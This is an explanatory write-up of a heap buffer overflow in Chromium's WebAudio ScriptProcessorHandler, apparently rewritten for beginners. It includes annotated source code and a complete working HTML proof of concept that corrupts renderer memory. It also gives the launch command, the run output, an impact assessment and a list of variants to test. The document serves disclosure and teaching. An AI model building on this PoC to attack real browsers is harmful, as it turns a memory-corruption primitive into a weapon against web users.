For local reproduction the researcher used the --enable-blink-features flag instead. A command-line flag is an option typed after the program name when starting it. This flag simulates the effect of a valid token, so the researcher could test without registering a domain.
The proof of concept is an HTML file, poc_scriptprocessor_oob.html, run headless with AddressSanitizer options set:
ASAN_OPTIONS=detect_odr_violation=0 /path/to/chrome --headless --no-sandbox --disable-gpu --enable-blink-features=WebAudioConfigurableRenderQuantum --dump-dom "file:///path/to/poc_scriptprocessor_oob.html"
Line by line:
ASAN_OPTIONS=detect_odr_violation=0sets an environment variable (a setting passed to the program when it starts). AddressSanitizer, or ASan, is a tool built into special test builds of Chrome that watches memory accesses and reports overflows. This option turns off one particular check so it does not get in the way./path/to/chromeis the browser program to run.--headlessruns Chrome without showing a window.--no-sandboxturns off Chrome's process sandbox, a security boundary that normally restricts what each process can do. Test setups often disable it.--disable-gputurns off graphics-card acceleration, which is not needed here.--enable-blink-features=WebAudioConfigurableRenderQuantumswitches on the experimental feature, standing in for a real Origin Trial token.--dump-domprints the page's HTML after the script has run, so the log written into the page can be read."file:///path/to/poc_scriptprocessor_oob.html"is the local file to open.
AddressSanitizer does not detect this overflow, because the V8 Sandbox disables memory tool instrumentation for ArrayBuffer partition allocations. The V8 Sandbox is a security design that isolates JavaScript data from the rest of the browser; as part of it, memory-checking tools are switched off for the memory that holds ArrayBuffer data. The PoC therefore proves the overflow through its observable side effect on rendered audio data rather than through a sanitiser report.
Finding it
The ScriptProcessorHandler constructor creates an internal_input_bus_ whose frame count equals renderQuantumSize, and stores double-buffered SharedAudioBuffer objects wrapping the JavaScript-visible AudioBuffer backing stores. A constructor is the code that runs when an object is created. Double-buffered means there are two buffers, used in turn. Each SharedAudioBuffer channel holds exactly bufferSize floats, which for bufferSize = 256 is 1024 bytes, allocated through Partitions::ArrayBufferPartition(). A float is a number with a decimal point, and each one takes 4 bytes, so 256 floats make 1024 bytes.
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
ScriptProcessorHandler::ScriptProcessorHandler(
AudioNode& node, float sample_rate, uint32_t buffer_size,
uint32_t number_of_input_channels, uint32_t number_of_output_channels,
const HeapVector<Member<AudioBuffer>>& input_buffers,
const HeapVector<Member<AudioBuffer>>& output_buffers)
: AudioHandler(NodeType::kNodeTypeScriptProcessor, node, sample_rate),
buffer_size_(buffer_size),
number_of_input_channels_(number_of_input_channels),
number_of_output_channels_(number_of_output_channels),
internal_input_bus_(AudioBus::Create(number_of_input_channels,
node.context()->renderQuantumSize(),
false)) {
// ...
for (uint32_t i = 0; i < 2; ++i) {
shared_input_buffers_.push_back(
input_buffers[i] ? input_buffers[i]->CreateSharedAudioBuffer() : nullptr);
shared_output_buffers_.push_back(
output_buffers[i] ? output_buffers[i]->CreateSharedAudioBuffer() : nullptr);
}
}
Line by line:
- The first line is a comment naming the source file.
- The next lines declare the constructor and its parameters: the audio node it belongs to, the sample rate, the buffer size, the number of input and output channels, and the input and output buffers.
- The lines starting with
:set up the object's starting values.buffer_size_stores the buffer size, and the channel counts are stored too. internal_input_bus_(AudioBus::Create(...))creates the internal working buffer for input, with a frame count equal torenderQuantumSize(). This is the size of one quantum.- The
forloop runs twice, once for each of the two buffers. For each one it creates aSharedAudioBufferfrom the JavaScript-visibleAudioBuffer, or stores nothing if there is no buffer.
Process uses SetChannelMemory to point internal_input_bus_ into the shared input buffer at offset buffer_read_write_index_, then calls CopyFrom to write audio data there. An offset is a starting position inside a buffer, like saying "start at pigeonhole 255". It also performs a memcpy from the shared output buffer at the same offset into the output bus. memcpy is a standard function that copies a block of bytes from one place to another. The only protection against out-of-bounds access is a DCHECK on buffers_are_good, which is stripped from release builds. A DCHECK is an internal assertion, a check that the programmer expects to always be true; in release builds (the versions shipped to users) these checks are removed to save time, so they protect nothing in the real world.
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
void ScriptProcessorHandler::Process(uint32_t frames_to_process) {
// ...
bool buffers_are_good =
shared_output_buffer &&
BufferSize() == shared_output_buffer->length() &&
buffer_read_write_index_ + frames_to_process <= BufferSize();
// ...
DCHECK(buffers_are_good); // Compiled out in release!
// Input side: OOB write
for (uint32_t i = 0; i < number_of_input_channels; ++i) {
internal_input_bus_->SetChannelMemory(
i,
static_cast<float*>(shared_input_buffer->channels()[i].Data()) +
buffer_read_write_index_,
frames_to_process);
}
if (number_of_input_channels) {
internal_input_bus_->CopyFrom(*input_bus);
}
// Output side: OOB read
for (uint32_t i = 0; i < number_of_output_channels; ++i) {
float* destination = output_bus->Channel(i)->MutableData();
const float* source =
static_cast<float*>(shared_output_buffer->channels()[i].Data()) +
buffer_read_write_index_;
memcpy(destination, source, sizeof(float) * frames_to_process);
}
buffer_read_write_index_ =
(buffer_read_write_index_ + frames_to_process) % BufferSize();
}
Line by line:
void ScriptProcessorHandler::Process(uint32_t frames_to_process)is the function that runs once per quantum.frames_to_processis how many samples this quantum handles.buffers_are_goodis a true/false value that checks three things: that there is an output buffer, that its length matches the buffer size, and that the current offset plus this quantum still fits inside the buffer. The last condition is the important one.DCHECK(buffers_are_good);would stop the program if that check failed, but only in debug builds. The comment notes it is compiled out in release.- The first
forloop handles input. For each input channel it points the internal input bus at the shared input buffer, starting atbuffer_read_write_index_, forframes_to_processsamples. This is where an out-of-bounds write can happen. internal_input_bus_->CopyFrom(*input_bus);copies the incoming audio into that location.- The second
forloop handles output. For each output channel it takes the output bus's memory as the destination and the shared output buffer atbuffer_read_write_index_as the source, then copiesframes_to_processfloats withmemcpy. This is where an out-of-bounds read can happen. - The last statement advances
buffer_read_write_index_byframes_to_processand wraps it around with% BufferSize(). The%symbol is the modulo operator: it gives the remainder after division, which is how the index wraps back to the start of the buffer.
After SetChannelMemory, internal_input_bus_->CopyFrom(*input_bus) calls AudioBus::Zero() followed by AudioBus::SumFrom(). AudioChannel::Zero() performs memset(raw_pointer_, 0, sizeof(float) * length_) where raw_pointer_ points to shared_input_buffer + buffer_read_write_index_ and length_ is frames_to_process. memset fills a block of memory with a single byte value, here zero. AudioChannel::SumFrom then calls AudioChannel::CopyFrom, which performs memcpy(MutableData(), source_channel->Data(), sizeof(float) * length()). Both operations write frames_to_process floats starting at offset buffer_read_write_index_ in a buffer of only BufferSize() floats:
// third_party/blink/renderer/platform/audio/audio_channel.h
void Zero() {
if (silent_) return;
silent_ = true;
if (mem_buffer_.get()) {
mem_buffer_->Zero();
} else {
memset(raw_pointer_, 0, base::CheckMul(sizeof(float), length_).ValueOrDie());
}
}
Line by line:
void Zero()is a function that fills a channel with silence (zeros).if (silent_) return;skips the work if the channel is already known to be silent.silent_ = true;records that it is now silent.- If there is a separate memory buffer (
mem_buffer_.get()), it zeroes that instead. - Otherwise it calls
memsetonraw_pointer_, fillingsizeof(float) * length_bytes with zero.sizeof(float)is the size of one float in bytes, 4.base::CheckMulmultiplies the two numbers and checks for overflow in the multiplication itself.
// third_party/blink/renderer/platform/audio/audio_channel.cc
void AudioChannel::CopyFrom(const AudioChannel* source_channel) {
if (source_channel->IsSilent()) { Zero(); return; }
memcpy(MutableData(), source_channel->Data(),
base::CheckMul(sizeof(float), length()).ValueOrDie());
}
Line by line:
void AudioChannel::CopyFrom(const AudioChannel* source_channel)copies audio from another channel into this one.- If the source is silent, it just zeroes this channel and returns.
- Otherwise it copies
sizeof(float) * length()bytes from the source's data to this channel's data withmemcpy.
The ScriptProcessorNode constructor validates that bufferSize is a power of two from the set {256, 512, 1024, 2048, 4096, 8192, 16384}, and clamps it upward if it is smaller than renderQuantumSize, but it never checks that bufferSize is evenly divisible by renderQuantumSize. Clamping upward means raising a too-small value to the minimum allowed:
// third_party/blink/renderer/modules/webaudio/script_processor_node.cc
if (buffer_size < context.renderQuantumSize()) {
buffer_size = context.renderQuantumSize();
}
Line by line:
- The
ifchecks whether the requested buffer size is smaller than the quantum size. - If it is, the buffer size is raised to equal the quantum size.
Notice what is missing: there is no check that the buffer size is a multiple of the quantum size. That missing check is the bug.
With renderSizeHint = 255 and bufferSize = 256, the divisibility check BufferSize() % frames_to_process == 0 (guarded only by DCHECK_EQ, stripped from release) fails because 256 % 255 = 1. DCHECK_EQ is a debug-only check that two values are equal. The buffer_read_write_index_ progresses as follows: quantum 1 sets the index to (0 + 255) % 256 = 255; quantum 2 then attempts to write 255 floats starting at offset 255 in a 256-float buffer, overflowing by 254 floats (1016 bytes). Every subsequent quantum similarly overflows, because gcd(255, 256) = 1 means the index cycles through all values 0 through 255 without repeating, and only the single quantum where the index is 0 avoids overflow. gcd is the greatest common divisor, the largest number that divides both values evenly; when it is 1, the two numbers share no common factor, so stepping by 255 through a 256-slot buffer visits every slot before returning to the start.
Exploitation
Step 1: build the page
The PoC creates an OfflineAudioContext with renderSizeHint: 255, fills an AudioBufferSourceNode with the marker value 1337.0, and connects it to a ScriptProcessor with bufferSize = 256 whose onaudioprocess handler does nothing. An OfflineAudioContext renders audio as fast as possible without playing it through speakers, which makes tests repeatable. The handler never writes to the output buffer, so without the overflow the rendered output would contain only zeros. Any non-zero value at the expected position is therefore conclusive evidence of cross-buffer heap corruption.
<!DOCTYPE html>
<html>
<body>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function trigger() {
try {
log("[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC");
log("[*]");
log("[*] Theory:");
log("[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]");
log("[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots");
log("[*]");
log("[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK");
log("[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]");
log("[*] output read [255..509] OOB -> reads input[1] (zeros)");
log("[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!");
log("[*]");
var MARKER = 1337.0;
var ctx = new OfflineAudioContext({
numberOfChannels: 1,
length: 48000,
sampleRate: 48000,
renderSizeHint: 255
});
log("[*] renderQuantumSize = " + ctx.renderQuantumSize);
var srcBuf = ctx.createBuffer(1, 48000, 48000);
srcBuf.getChannelData(0).fill(MARKER);
var src = ctx.createBufferSource();
src.buffer = srcBuf;
var sp = ctx.createScriptProcessor(256, 1, 1);
sp.onaudioprocess = function(e) {};
src.connect(sp);
sp.connect(ctx.destination);
src.start();
log("[*] Rendering 48000 samples (~188 quanta)...");
var buf = await ctx.startRendering();
var data = buf.getChannelData(0);
log("[*] Render complete. Scanning for marker " + MARKER + "...");
log("");
var found = 0;
var positions = [];
for (var i = 0; i < data.length; i++) {
if (Math.abs(data[i] - MARKER) < 0.01) {
found++;
if (positions.length < 30) positions.push(i);
}
}
if (found > 0) {
log("[!] ============================================");
log("[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION");
log("[!] ============================================");
log("[!] Found " + found + " samples with marker value " + MARKER);
log("[!] First 30 positions: " + positions.join(", "));
log("[!]");
log("[!] Expected first marker at sample 765 (Q4 start = 255*3)");
log("[!] Actual first marker at sample " + positions[0]);
log("[!]");
log("[!] Proof:");
log("[!] 1. AudioBufferSourceNode outputs " + MARKER);
log("[!] 2. ScriptProcessor input OOB WRITE wrote " + MARKER);
log("[!] past input_buffer[0] into adjacent output_buffer[0]");
log("[!] 3. Later quantum read output_buffer[0] at contaminated offset");
log("[!] 4. Contaminated value appeared in rendered audio output");
log("[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed");
} else {
log("[*] No marker found (input[0] and output[0] may not be adjacent)");
}
} catch (e) {
log("[!] " + e.name + ": " + e.message);
}
}
trigger();
</script>
</body>
</html>
Line by line:
- The first lines are the standard start of an HTML page, with a
<pre id="log">element where messages will be printed.<pre>keeps line breaks as written. function log(msg)defines a helper that adds a line of text to the page and also prints it to the browser console.document.getElementById('log')finds the element, and.textContent +=appends text to it.async function trigger()defines the main test.asyncmeans it can wait for slow operations, andawaitbelow pauses until they finish.- The first
logcalls print the theory: the expected memory layoutinput[0] | output[0] | input[1] | output[1], each buffer being 256 floats (1024 bytes) in the same size class (bucket) and next to each other (adjacent slots). - The Q1, Q2 and Q4 lines describe what should happen in each quantum: Q1 is fine, Q2 writes out of bounds and corrupts the output buffer, and Q4 reads the corrupted value back.
var MARKER = 1337.0;sets the recognisable value used as a tracer.new OfflineAudioContext({...})creates the offline audio context with one channel, 48000 samples, a sample rate of 48000, andrenderSizeHint: 255. The hint is the value that does not divide 256.ctx.renderQuantumSizeis read and logged, showing the quantum size actually in use.ctx.createBuffer(1, 48000, 48000)creates a source buffer, andsrcBuf.getChannelData(0).fill(MARKER)fills every sample with 1337.0.ctx.createBufferSource()creates a source node, andsrc.buffer = srcBufattaches the filled buffer to it.ctx.createScriptProcessor(256, 1, 1)creates the ScriptProcessor with buffer size 256, one input channel and one output channel.sp.onaudioprocess = function(e) {};sets the handler to an empty function, so it never writes anything to the output.src.connect(sp); sp.connect(ctx.destination); src.start();wires the source into the ScriptProcessor and the ScriptProcessor to the output, then starts playback.await ctx.startRendering()renders the whole thing and returns the result.buf.getChannelData(0)gets the rendered samples.- The
forloop scans every sample.Math.abs(data[i] - MARKER) < 0.01checks whether the sample is close to 1337.0, allowing for tiny rounding differences. Matching positions are counted and the first 30 are stored. - If any were found, the code prints a confirmation block, including the count, the first positions, and the expected first position of 765 (quantum 4 starts at 255 * 3). It then lists the five-step proof.
- If none were found, it prints that no marker was seen, noting the buffers may not be adjacent.
- The
catchblock prints any error, so a failure is visible rather than silent. trigger();starts the whole test.
Step 2: run it and read the output
The run confirms the overflow through cross-contamination:
[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC
[*]
[*] Theory:
[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]
[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots
[*]
[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK
[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]
[*] output read [255..509] OOB -> reads input[1] (zeros)
[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!
[*]
[*] renderQuantumSize = 255
[*] Rendering 48000 samples (~188 quanta)...
[*] Render complete. Scanning for marker 1337...
[!] ============================================
[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION
[!] ============================================
[!] Found 17265 samples with marker value 1337
[!] First 30 positions: 765, 1020, 1021, 1275, 1276, 1277, 1530, 1531, 1532, 1533, 1785, 1786, 1787, 1788, 1789, 2040, 2041, 2042, 2043, 2044, 2045, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2550, 2551
[!]
[!] Expected first marker at sample 765 (Q4 start = 255*3)
[!] Actual first marker at sample 765
[!]
[!] Proof:
[!] 1. AudioBufferSourceNode outputs 1337
[!] 2. ScriptProcessor input OOB WRITE wrote 1337
[!] past input_buffer[0] into adjacent output_buffer[0]
[!] 3. Later quantum read output_buffer[0] at contaminated offset
[!] 4. Contaminated value appeared in rendered audio output
[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed
Line by line:
- The first block repeats the theory and confirms
renderQuantumSize = 255, so the hint took effect. Rendering 48000 samples (~188 quanta)...shows the render started. 48000 divided by 255 is about 188, hence the count.Render complete. Scanning for marker 1337...shows the scan began.OOB WRITE CONFIRMED VIA CROSS-CONTAMINATIONis the verdict. OOB stands for out of bounds.Found 17265 samples with marker value 1337is the total number of contaminated samples.First 30 positions: 765, 1020, 1021, ...lists where the marker first appears. The pattern grows: one at 765, two around 1020, three around 1275, and so on.Expected first marker at sample 765andActual first marker at sample 765agree, which is the key evidence.- The five proof lines summarise the chain: the source outputs 1337, the input-side write pushes it past the input buffer into the output buffer, a later quantum reads it back, it appears in the rendered audio, and the overflow is confirmed.
The marker value 1337.0 first appears at sample 765, which corresponds exactly to quantum 4 (index 255 * 3 = 765). This is the first quantum where the output-side read reaches a region of the output buffer that was previously corrupted by the input-side out-of-bounds write two quanta earlier. The progressive pattern of contamination (1 marker at Q4, 2 at Q5, 3 at Q6, and so on, accumulating to 17265 contaminated samples) matches the theoretical model: each advancing quantum exposes one additional corrupted float as buffer_read_write_index_ decrements toward the start of the output buffer. The presence of 1337.0 in the rendered audio output is impossible without the input-side memcpy/memset writing past the end of input_buffer[0] into the adjacent output_buffer[0].
Step 3: confirm the intended invariant with a debug build
Running the same PoC on a Chromium build with dcheck_always_on=true immediately triggers a fatal assertion on the very first render quantum. dcheck_always_on=true is a build setting that keeps the debug checks switched on even in a build that otherwise behaves like a release build:
FATAL:third_party/blink/renderer/modules/webaudio/script_processor_handler.cc:164
DCHECK failed: BufferSize() % frames_to_process == 0u (1 vs. 0)
Line by line:
FATAL:means the program stopped because of a serious internal error.- The file path and line number point to where the check lives.
DCHECK failed:names the check that failed.BufferSize() % frames_to_process == 0uis the condition that was expected to be true: the buffer size should divide evenly by the quantum size.(1 vs. 0)shows the actual result was 1 (the remainder) while 0 was expected.
This DCHECK verifies that BufferSize() (256) is evenly divisible by frames_to_process (255), which yields a remainder of 1. In release builds the assertion is compiled out entirely, allowing execution to proceed into the out-of-bounds memory access path without any runtime check.
Root cause
The mistake is a missing runtime check on the relationship between bufferSize and renderQuantumSize. The constructor clamps bufferSize upward when it is smaller than the quantum but never requires it to be a multiple of the quantum. Process then advances buffer_read_write_index_ by frames_to_process each quantum and indexes the shared buffers at that offset, assuming the offset plus the quantum always fits inside BufferSize(). The only guard is the DCHECK on buffers_are_good and the DCHECK_EQ on the divisibility condition, both stripped from release builds. When the quantum does not divide the buffer size, the index eventually lands close enough to the end that a full quantum's worth of floats runs past the allocation.
The overflow is a write of attacker-controlled audio data of up to 1016 bytes past the input buffer's ArrayBuffer backing store into the adjacent slot in PartitionAlloc's ArrayBuffer partition, plus a symmetric out-of-bounds read of up to 1016 bytes from past the output buffer's backing store into the rendered audio stream. AddressSanitizer does not catch it because the V8 Sandbox disables memory tool instrumentation for ArrayBuffer partition allocations, which is why the researcher demonstrated it through cross-contamination instead.
Impact
This is a renderer-process memory corruption primitive reachable from any web page that registers for the Origin Trial. The renderer process is the part of Chrome that runs a page's code, kept separate from the rest of the browser for safety. A primitive here means a basic capability that could be built on. Because the trial can be enabled by embedding a token in a <meta> tag, no flags or switches are needed on the victim's side: any stable Chrome user visiting the attacker's page has the feature activated. The out-of-bounds write lets attacker-controlled audio data corrupt the adjacent ArrayBuffer allocation, and the out-of-bounds read copies up to 1016 bytes from past the output buffer's backing store into the rendered audio stream.
Fix
The report does not describe a fix. The invariant the developers intended is visible in the debug assertion: BufferSize() % frames_to_process == 0. Enforcing that at runtime, rather than only under DCHECK, would prevent the index from ever running past the end of the shared buffer.
Variants to test
- Other
renderSizeHintvalues that do not dividebufferSize, for example a hint of 3 with a buffer of 256. A positive result is the same cross-contamination pattern: marker values appearing in the rendered output at positions predicted by the index progression. - Hints larger than the buffer size, where the constructor's upward clamp applies. A positive result is an overflow on the first quantum rather than the second.
- Multi-channel ScriptProcessors, where the input and output loops run per channel. A positive result is contamination appearing on more than one channel, or a different adjacent-slot layout in the PartitionAlloc partition.
- Other Origin Trial gated features that alter render quantum or buffer sizing assumptions elsewhere in WebAudio. A positive result is a similar mismatch between a configured size and a hard-coded assumption, observable through audio output or a sanitiser report on a build where instrumentation is active.
- The same PoC on builds with
dcheck_always_on=truefor any new hint value, to see whether the intended invariant is asserted at all. A positive result is aDCHECKfailure naming the divisibility condition, which confirms the invariant is known but only enforced in debug builds.
Glossary
- AddressSanitizer (ASan): a memory-checking tool built into special test builds of Chrome that reports out-of-bounds accesses.
- ArrayBuffer: the JavaScript object that holds a block of raw binary data, used here for audio samples.
- AudioBuffer: a WebAudio object holding audio samples that JavaScript can read and write.
- AudioBus: an internal Chromium structure holding the audio channels being processed.
- AudioChannel: one channel (for example left or right) of audio inside an AudioBus.
- Backing store: the actual block of memory behind an object like an AudioBuffer.
- Buffer: a reserved block of memory used to hold data temporarily.
- Buffer overflow: writing data past the end of a buffer into neighbouring memory.
- Chrome flag: a command-line option that changes how Chrome starts.
- Chromium: the open-source browser project that Chrome is built from.
- Clamp: to raise or lower a value to fit within allowed limits.
- Constructor: the code that runs when an object is created.
- DCHECK: a debug-only assertion, a check that is removed from release builds.
- DCHECK_EQ: a debug-only assertion that two values are equal.
- Debug build: a version of a program built with extra checks for testing.
- Double-buffered: using two buffers in turn.
- Float: a number with a decimal point, stored in 4 bytes here.
- gcd (greatest common divisor): the largest number that divides two values evenly.
- Headless: running a browser without a visible window.
- Heap: the general-purpose memory area where programs keep data while running.
- HTML: the language web pages are written in.
- Invariant: a condition that is supposed to always be true.
- JavaScript: the programming language that runs in web pages.
- memcpy: a standard function that copies a block of bytes from one place to another.
- memset: a standard function that fills a block of memory with a single byte value.
- Modulo (%): the remainder after division, used here to wrap an index around a buffer.
- OfflineAudioContext: a WebAudio context that renders audio as fast as possible without playing it.
- onaudioprocess: the JavaScript handler a ScriptProcessorNode calls for each chunk of audio.
- Origin Trial: a Chrome scheme that lets a registered website try an experimental feature using a token.
- Out-of-bounds (OOB): outside the intended limits of a buffer.
- PartitionAlloc: Chromium's memory manager, which hands out memory in separate areas called partitions.
- Power of two: a number like 2, 4, 8, 16 and so on.
- Primitive: a basic capability that could be built on for further attacks.
- Quantum (render quantum): one small batch of audio samples processed at a time.
- Release build: the version of a program shipped to users, with debug checks removed.
- Renderer process: the part of Chrome that runs a page's code, kept separate for safety.
- Sample: one number representing the audio level at one moment in time.
- Sandbox: a security boundary that restricts what a process can do.
- ScriptProcessorNode: a WebAudio node that lets JavaScript process the audio stream.
- SharedAudioBuffer: an internal Chromium object wrapping an AudioBuffer's memory.
- Token: a string that identifies and authorises something, here an Origin Trial registration.
- V8 Sandbox: a Chrome security design that isolates JavaScript data from the rest of the browser.
- WebAudio: the part of the browser that lets web pages create and process sound.